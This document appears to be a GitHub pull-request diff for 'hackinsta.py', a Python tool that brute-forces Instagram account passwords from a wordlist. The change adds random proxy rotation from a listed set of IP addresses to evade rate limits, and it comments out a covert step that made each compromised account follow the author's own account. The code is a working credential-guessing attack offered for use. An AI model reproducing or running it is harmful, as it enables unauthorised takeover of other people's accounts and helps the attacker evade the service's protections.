Skip to content
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
48 changes: 36 additions & 12 deletions hackinsta.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@
import json
import time
import os
import random

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lol


filename = 'pass.txt'
if os.path.isfile(filename):
Expand All @@ -27,8 +29,11 @@ def userExists(username):
return {'username':username,'id':fUserID}


def Login(username,password):
def Login(username,password, proxy):
sess = requests.Session()

sess.proxies = { "http": proxy, "https": proxy }

sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
Expand Down Expand Up @@ -67,14 +72,17 @@ def Login(username,password):



def follow(sess, username):
username = userExists(username)
if (username == False):
return
else:
userID = username['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)

###Start###

def RandomProxy():
myProxy = random.choice(open('proxy.txt').read().splitlines())
#r = requests.get('http://myexternalip.com/raw')
#print (''r.text)
#r = requests.get('http://myexternalip.com/raw', proxies={ "http": myProxy, "https": myProxy })
#print (r.text)
return myProxy



username = str(input('Please enter a username: '))
Expand All @@ -89,14 +97,19 @@ def follow(sess, username):
delayLoop = int(input('Please add delay between the passwords (in seconds): '))


UsePorxy = input('Do you want to use proxy (y/n): ')
if (UsePorxy == 'y'):
myProxy = RandomProxy()
print ('Your public ip: %s' % requests.get('http://myexternalip.com/raw', proxies={ "http": myProxy, "https": myProxy }).text)
else:
myProxy = ''

for i in range(len(passwords)):
password = passwords[i]
sess = Login(username,password)
sess = Login(username, password, myProxy)
if (sess):
print ('Login success %s' % [username,password])

#because i am cool
follow(sess,'avr_amit')

try:
time.sleep(delayLoop)
Expand All @@ -108,3 +121,14 @@ def follow(sess, username):
continue



'''
def follow(sess, username):
username = userExists(username)
if (username == False):
return
else:
userID = username['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
'''
3 changes: 3 additions & 0 deletions proxy.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
149.56.81.59
158.69.73.162
95.142.37.157